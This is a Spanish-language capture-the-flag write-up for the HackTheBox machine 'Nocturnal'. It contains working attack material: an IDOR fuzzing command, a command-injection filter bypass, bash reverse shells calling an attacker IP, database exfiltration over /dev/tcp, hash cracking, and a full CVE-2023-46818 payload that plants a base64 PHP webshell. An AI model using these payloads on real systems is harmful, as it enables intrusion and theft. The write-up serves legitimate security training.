Habilidades: Insecure Direct Object Reference (IDOR), Command Injection, SQLite Database Analysis, Hash Cracking, SSH Local Port Forwarding, ISPConfig
PHP Code Injection (CVE-2023-46818)
Introducción
Nocturnal es una máquina Linux de dificultad Easy
en HackTheBox que requiere vulnerar un sitio web a través IDOR, el cual nos permitirá obtener la sesión de otro usuario y una copia de los archivos de la web. El acceso inicial lo obtendremos mediante inyección de comandos en una solicitud HTTP en parámetros sin sanitizar, además debemos migrar a un usuario con el que podamos acceder por SSH. Una vez dentro, identificaremos y explotaremos el servicio ISPConfig que se ejecuta internamente, de esta forma podremos obtener privilegios elevados y vencer la máquina.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c 1 10.10.11.64
PING 10.10.11.64 (10.10.11.64) 56(84) bytes of data.
64 bytes from 10.10.11.64: icmp_seq=1 ttl=63 time=134 ms
--- 10.10.11.64 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 134.082/134.082/134.082/0.000 ms
Nmap Scanning
Haremos un escaneo para identificar puertos abiertos en la máquina víctima a través del protocolo TCP
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.64 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-12 16:31 EDT
Nmap scan report for 10.10.11.64
Host is up (0.14s latency).
Not shown: 64773 closed tcp ports (reset), 760 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 47.47 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Haremos un segundo escaneo más exhaustivo a los puertos abiertos que hemos descubierto
nmap -p 22,80 -sVC 10.10.11.64 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-12 16:32 EDT
Nmap scan report for 10.10.11.64
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.05 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
El servidor nos intenta redirigir a nocturnal.htb
. Agregaremos este nombre de dominio al archivo /etc/hosts
para poder visitar la web.
Web Analysis
Antes de navegar a la web podemos escanear las tecnologías que el servidor pueda estar ejecutando
whatweb http://nocturnal.htb
http://nocturnal.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[support@nocturnal.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.64], Title[Welcome to Nocturnal], nginx[1.18.0]
Vemos que se utiliza nginx
en su versión 1.18.0
. Si visitamos la web veremos lo siguiente. Una web donde podremos subir archivos Word, PDF, y Excel
El sitio nos deja registrar e iniciar sesión con una cuenta, en mi caso crearé una con el nombre andrew
(Posible) .php
File Upload
Una vez iniciamos sesión, se nos redirige a dashboard.php
, allí podremos subir archivos, en mi caso intentaré subir un archivo .php
malicioso, pero la web nos indica el siguiente error
Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.
.pdf
File Upload
Al subir un archivo .pdf
podemos visitarlo mediante la siguiente url
donde se contemplan tanto el parámetro username
para hacer referencia a un usuario y el parámetro filename
donde se nombra el archivo
http://nocturnal.htb/view.php?username=andrew&file=test.pdf
Insecure Direct Object Reference (IDOR)
Podemos intentar hacer fuzzing
mediante el parámetro username
para descubrir nombres de usuario válidos
wfuzz -c --hw 243 -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -b 'PHPSESSID=46d7mtkbhkovf744f2nrhqu6tk' 'http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf
Total requests: 8295455
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 128 L 247 W 3037 Ch "admin"
000000017: 200 177 L 470 W 5150 Ch "andrew"
000000194: 200 128 L 248 W 3113 Ch "amanda"
000002688: 200 128 L 247 W 3037 Ch "tobias"
Hemos encontrado 3
nombres de usuario además de nosotros (andrew
). Podemos intentar usar estos nombres de usuario para ver si accedemos a otros recursos.
Si intentamos con el usuario amanda
, veremos lo siguiente
Nos es posible descargar un archivo privacy.odt
. Podemos abrirlo directamente con LibreOffice
o descomprimir el archivo con el comando unzip
y ver el contenido del documento en el archivo xl/content.xml
curl -X POST -sL http://nocturnal.htb/view.php\?username\=amanda\&file\=privacy.odt -b 'PHPSESSID=46d7mtkbhkovf744f2nrhqu6tk' -o privacy.odt
El documento posee el siguiente mensaje, se nos señala una contraseña temporal que funciona para iniciar sesión como amanda
Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.
Yours sincerely,
Nocturnal's IT team
Una vez estamos en dashboard.php
como el usuario amanda
, podemos ver que tenemos acceso a un enlace Admin Panel
Dentro de Admin Panel
podremos ver el contenido de los archivos en la carpeta actual
Intrusión / Explotación
Command Injection
En la sección del final podemos crear una copia de los recursos que vemos, además podemos agregar una contraseña.
Si prestamos atención en el archivo admin.php
, vemos el comando utilizado para crear el backup
en el código PHP implementado.
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
Si intentamos enviar caracteres para escapar del comando actual, el servidor indicará un error
Request
password=test;whoami&backup=
Response
<div class='error-message'>Error: Try another password.</div>
</div>
Se intenta sanitizar el parámetro password
eliminando ciertos caracteres como (;
, &
, |
o ` ) con funciones como
, pero es posible escapar del comando con los siguientes caracteres
\n -> %0a
\t -> %09
Podemos usar %09
como una separación entre lo que indiquemos
password=test%0acat%09/etc/passwd&backup=
Vemos que tiene wget
instalado, podemos usar este comando para descargar recursos de un servidor HTTP controlado por nosotros
<h3>Output:</h3>
<pre>
/usr/bin/wget
</pre>
Crearemos una reverse shell en bash y la guardaremos en un archivo malicioso, por ejemplo
rev.sh
bash -c 'bash -i >& /dev/tcp/10.10.14.237/4444 0>&1'
Antes de solicitar este recurso, necesitaremos iniciar un servidor HTTP con python
en nuestra máquina atacante
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ahora procedemos a descargar la reverse shell en la máquina víctima utilizando el comando wget
password=test%0awget%09http://10.10.14.237/rev.sh&backup=
Habremos recibido la solicitud HTTP al recurso rev.sh
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.64 - - [12/May/2025 18:38:27] "GET /rev.sh HTTP/1.1" 200 -
Shell as www-data
Ahora la ejecutamos con bash
, recuerda iniciar un listener con netcat
por un puerto, en mi caso el 4444
password=test%0abash%09rev.sh&backup=
En mi caso, he configurado la conexión hacia mi puerto 4444
, al momento de enviar la solicitud maliciosa, habremos recibido la conexión
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.237] from (UNKNOWN) [10.10.11.64] 52092
bash: cannot set terminal process group (874): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nocturnal:~/nocturnal.htb$ hostname -I
hostname -I
10.10.11.64
TTY Treatment
Haremos un tratamiento de la tty
para poder operar con una consola más interactiva
www-data@nocturnal:~/nocturnal.htb$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@nocturnal:~/nocturnal.htb$ ^Z
[1] + 112843 suspended nc -lvnp 4444
root@parrot exploits # stty raw -echo; fg
[1] + 112843 continued nc -lvnp 4444
reset xterm
Para finalizar el tratamiento, asignaremos un valor a la variable de entorno TERM
para poder limpiar la pantalla con Ctrl + L
. Además ajustaremos las proporciones de la terminal
www-data@nocturnal:~/nocturnal.htb$ export TERM=xterm
www-data@nocturnal:~/nocturnal.htb$ stty rows 44 columns 184
System Enumeration
Ahora haremos una enumeración básica del sistema donde buscaremos vías potenciales mediante las cuales podamos escalar privilegios
www-data@nocturnal:~/nocturnal.htb$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
tobias:x:1000:1000:tobias:/home/tobias:/bin/bash
ispapps:x:1001:1002::/var/www/apps:/bin/sh
ispconfig:x:1002:1003::/usr/local/ispconfig:/bin/sh
SQLite Database Analysis
Encontraremos un directorio nocturnal_database
, si listamos lo que hay dentro, veremos que existe un archivo nocturnal_database.db
que es un archivo compatible con sqlite3
www-data@nocturnal:~$ ls
html ispconfig nocturnal.htb nocturnal_database php-fcgi-scripts
www-data@nocturnal:~$ cd nocturnal_database/
www-data@nocturnal:~/nocturnal_database$ ls
nocturnal_database.db
www-data@nocturnal:~/nocturnal_database$ file nocturnal_database.db
nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001
File Transfer
El sistema tiene instalado netcat
, la cual es una herramienta que perfectamente podemos usar para transferir este archivo a nuestra máquina. Alternativamente, podemos utilizar un socket con la ruta /dev/tcp
para enviarnos el archivo con una conexión TCP
Primeramente iniciaremos un listener en nuestra máquina eligiendo un puerto que no esté siendo utilizado por otro servicio
nc -lvnp 4444 > nocturnal.db
listening on [any] 4444 ...
Desde la máquina víctima ejecutaremos el siguiente comando, esto abrirá una conexión TCP hacia nuestra máquina atacante enviando el contenido del archivo nocturnal_database.db
www-data@nocturnal:~/nocturnal_database$ cat nocturnal_database.db > /dev/tcp/10.10.14.237/4444
Inmediatamente recibiremos el archivo desde nuestro listener
nc -lvnp 4444 > nocturnal.db
listening on [any] 4444 ...
connect to [10.10.14.237] from (UNKNOWN) [10.10.11.64] 59250
(Tip) Verify File Integrity
Podemos verificar la integridad del archivo transferido calculando el hash
MD5 resultante del mismo. Ambos deben ser idénticos, de lo contrario, sabremos que el archivo está corrupto
www-data@nocturnal:~/nocturnal.htb$ md5sum ../nocturnal_database/nocturnal_database.db
293b34c7f9cdf00d223c9c83dbeba990 ../nocturnal_database/nocturnal_database.db
Ejecutaremos sqlite
pasando como argumento el nombre del archivo y en mi caso quiero ver los datos en formato tabla, eso lo especifico con el parámetro -table
sqlite3 nocturnal.db -table
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite>
sqlite> .tables
uploads users
sqlite> select * from users;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | d725aeba143f575736b07e045d8ceebb |
| 2 | amanda | df8b20aa0c935023f99ea58358fb63c4 |
| 4 | tobias | 55c82b1ccd55ab219b3b109b07d5061d |
| 8 | andrew | 32250170a0dca92d53ec9624f336ca24 |
+----+----------+----------------------------------+
Vemos una tabla users
, y dentro de ella vemos el registro de usuarios, con datos como su username
y su contraseña en formato hash
.
Como ya sabemos que tobias
es un usuario válido en el sistema, usaremos su hash. Pero primeramente identificaremos el algoritmo
hashid 55c82b1ccd55ab219b3b109b07d5061d
Analyzing '55c82b1ccd55ab219b3b109b07d5061d'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
Hash Cracking
Guardaremos el hash en un archivo y lo intentaremos crackear con john
, debemos especificar el formato para que john
pueda crackearlo
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
slowmotionapocalypse (?)
1g 0:00:00:00 DONE (2025-05-12 18:58) 5.000g/s 18468Kp/s 18468Kc/s 18468KC/s slp312..slow86
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Utilizaremos esta contraseña para autenticarnos por el protocolo ssh
en la máquina víctima
ssh tobias@nocturnal.htb
tobias@10.10.11.64\'s password:
...
Last login: Mon May 12 22:59:18 2025 from 10.10.14.169
tobias@nocturnal:~$
Asignaremos el valor a la variable TERM
para poder limpiar la pantalla con Ctrl + L
tobias@nocturnal:~$ export TERM=xterm
En este punto ya podemos ver la flag del usuario sin privilegios
tobias@nocturnal:~$ cat user.txt
ad5...
Escalada de Privilegios
Internally Open Ports
Una vez estamos dentro de la máquina víctima como el usuario tobias
, podemos ejecutar el comando ss
para listar los puertos abiertos. Nuestro objetivo será identificar servicios que solamente estén disponibles para la máquina, o sea, que el puerto esté en la dirección 127.0.0.1
, también conocido como localhost
tobias@nocturnal:~$ ss -tunl | grep 127.0.0.1
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:587 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
En este caso veremos que hay unos cuantos servicios accesibles solamente desde la máquina
SSH Local Port Forwarding
Haremos que el puerto 8080
sea alcanzable por nuestra máquina atacante a través de un reenvío de puertos con ssh
ssh -L 8080:127.0.0.1:8080 -fN tobias@10.10.11.64
# Comprobamos que hayamos abierto el puerto `8080`
ss -tunl | grep 8080
tcp LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 128 [::1]:8080 [::]:*
-L
: Reenviar un puerto local-f
: Ejecutar en segundo plano-N
: No iniciar una consola
Web Analysis - ISPConfig
Si navegamos hasta el puerto 8080
en localhost
veremos una web que corresponde a ISPConfig
ISPConfig es un panel de control de hosting de código abierto para Linux. Es una herramienta que facilita la gestión de servidores, web hosting, revendedores y clientes.
Si intentamos ingresar con las credenciales que disponemos, lograremos iniciar sesión con las siguientes
admin:slowmotionapocalypse
Entraremos al panel de control, veremos muchas opciones para explorar
En la sección de ayuda podremos ver la versión de ISPConfig
ISPConfig Version: 3.2.10p1
ISPConfig < 3.2.11p PHP Code Injection (CVE-2023-46818)
Esta versión de ISPConfig
es vulnerable a inyección de código PHP, permitiendo a un atacante inyectar código en el editor de archivos de idioma cuando admin_allow_langedit
está habilitado.
Understanding Attack
La vulnerabilidad surge cuando /admin/language_edit.php
no sanitiza el contenido del parámetro records
en una solicitud POST. A continuación podemos ver una solicitud HTTP maliciosa
POST /admin/language_edit.php HTTP/1.1
Host: localhost:8081
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: ISPCSESS=f5lhhlgmdq9nl7e57c2c2djmn5
Content-Length: 357
Content-Type: application/x-www-form-urlencoded
lang=en&module=help&lang_file=osyyeuxs.lng&_csrf_id=language_edit_399d4a0322ba2ac1217d45ba&_csrf_key=20034670f4e09f84940295d767d88003dd543b45&records%5B%5C%5D=%27%5D%3Bfile_put_contents%28%27sh.php%27%2Cbase64_decode%28%27PD9waHAgcHJpbnQoJ19fX18nKTsgcGFzc3RocnUoYmFzZTY0X2RlY29kZSgkX1NFUlZFUlsnSFRUUF9DJ10pKTsgcHJpbnQoJ19fX18nKTsgPz4%3D%27%29%29%3Bdie%3B%23
En este caso enviamos un payload a través del parámetro records
, donde la cadena decodificada se vería se la siguiente forma
'];file_put_contents('sh.php',base64_decode('PD9waHAgcHJpbnQoJ19fX18nKTsgcGFzc3RocnUoYmFzZTY0X2RlY29kZSgkX1NFUlZFUlsnSFRUUF9DJ10pKTsgcHJpbnQoJ19fX18nKTsgPz4='));die;#
Esto crea un archivo php
malicioso con el siguiente contenido
<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>
Esto recibe una cabecera C
que es enviada en base64
y ejecuta su contenido, actuando como una webshell
.
La siguiente solicitud representa un envío de un comando a este archivo sh.php
GET /admin/sh.php HTTP/1.1
Host: localhost:8081
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
C: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMzcvNDQ0NCAwPiYxJw==
Cookie: ISPCSESS=f5lhhlgmdq9nl7e57c2c2djmn5
En la cabecera C
estaríamos enviando nuestro comando que decodificado desde base64
podría verse de la siguiente manera para ejecutar una reverse shell
bash -c 'bash -i >& /dev/tcp/10.10.14.237/4444 0>&1'
Exploiting
Clonaremos el repositorio de Github para llevar a cabo la explotación de esta vulnerabilidad
git clone https://github.com/ajdumanhug/CVE-2023-46818
cd CVE-2023-46818
Modificaremos el exploit para enviar un comando que envíe una shell directamente a nuestra máquina
cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.237/4444 0>&1'"
Root Time
Ejecutaremos el payload modificado para enviar directamente una shell a nuestra máquina atacante por un puerto que seleccionemos
python3 exploit.py http://localhost:8081 admin slowmotionapocalypse
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: language_edit_314c9e6f2e07c628dd2845ae
[+] CSRF Key: aa2250eafc3095a40adf91f1a7e747bf5aa7aa4f
[+] Injecting shell payload...
[+] Shell written to: http://localhost:8080/admin/sh.php
[+] Launching shell...
Y desde nuestro listener habremos recibido la shell como root
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.237] from (UNKNOWN) [10.10.11.64] 33164
bash: cannot set terminal process group (830): Inappropriate ioctl for device
bash: no job control in this shell
root@nocturnal:/usr/local/ispconfig/interface/web/admin# id
uid=0(root) gid=0(root) groups=0(root)
TTY Treatment
Finalmente haremos el último tratamiento de la tty
para hacer más interactiva la consola que obtuvimos
root@nocturnal:/usr/local/ispconfig/interface/web/admin# script /dev/null -c bash
<onfig/interface/web/admin# script /dev/null -c bash
Script started, file is /dev/null
root@nocturnal:/usr/local/ispconfig/interface/web/admin# ^Z
[1] + 58764 suspended nc -lvnp 4444
root@parrot nocturnal # stty raw -echo; fg
[1] + 58764 continued nc -lvnp 4444
reset xterm
root@nocturnal:/usr/local/ispconfig/interface/web/admin# export TERM=xterm
root@nocturnal:/usr/local/ispconfig/interface/web/admin# stty rows 44 columns 184
Ahora ya podemos ver la flag ubicada en el directorio /root
root@nocturnal:/usr/local/ispconfig/interface/web/admin# cat /root/root.txt
99e...
Gracias por leer hasta el final, a continuación te dejo la cita del día…
Ambition is but avarice on stilts, and masked. — Walter Savage Landor